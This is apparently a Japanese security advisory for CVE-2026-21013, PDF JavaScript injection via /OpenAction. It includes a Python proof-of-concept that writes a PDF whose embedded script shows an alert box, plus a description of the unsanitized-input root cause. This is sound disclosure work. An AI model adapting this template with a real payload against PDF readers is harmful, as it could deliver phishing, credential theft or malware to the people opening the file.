CVE-2026-21013 – 埋め込みスクリプトによるPDF JavaScriptインジェクション

プログラムコード（悪意のあるPDFを生成するPython）

# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – OpenAction経由のPDF JavaScriptインジェクション

概要

PDFジェネレーターは、ユーザーが指定したコンテンツをPDFファイルに埋め込む前にサニタイズしません。攻撃者は、ドキュメントを開いたときに実行される/OpenAction JavaScriptエントリを注入でき、これにより（Webビューアでの）クロスサイトスクリプティングや、（完全なJSサポートを備えたデスクトップリーダーでの）ローカルコード実行につながります。

脆弱性の詳細

• タイプ: PDFインジェクション / クライアントサイドコード実行
• 影響: フィッシング、認証情報の窃取、マルウェアの配布。
• 根本原因: PDFライブラリは、攻撃者が制御する文字列をエスケープや検証なしにPDF構造に直接埋め込みます。

エクスプロイトのデモ

ジェネレーターを実行します:

python generate_pdf_js_inject.py

生成されたmalicious.pdfをJavaScriptをサポートするPDFリーダーで開くと、アラートボックスが表示されます。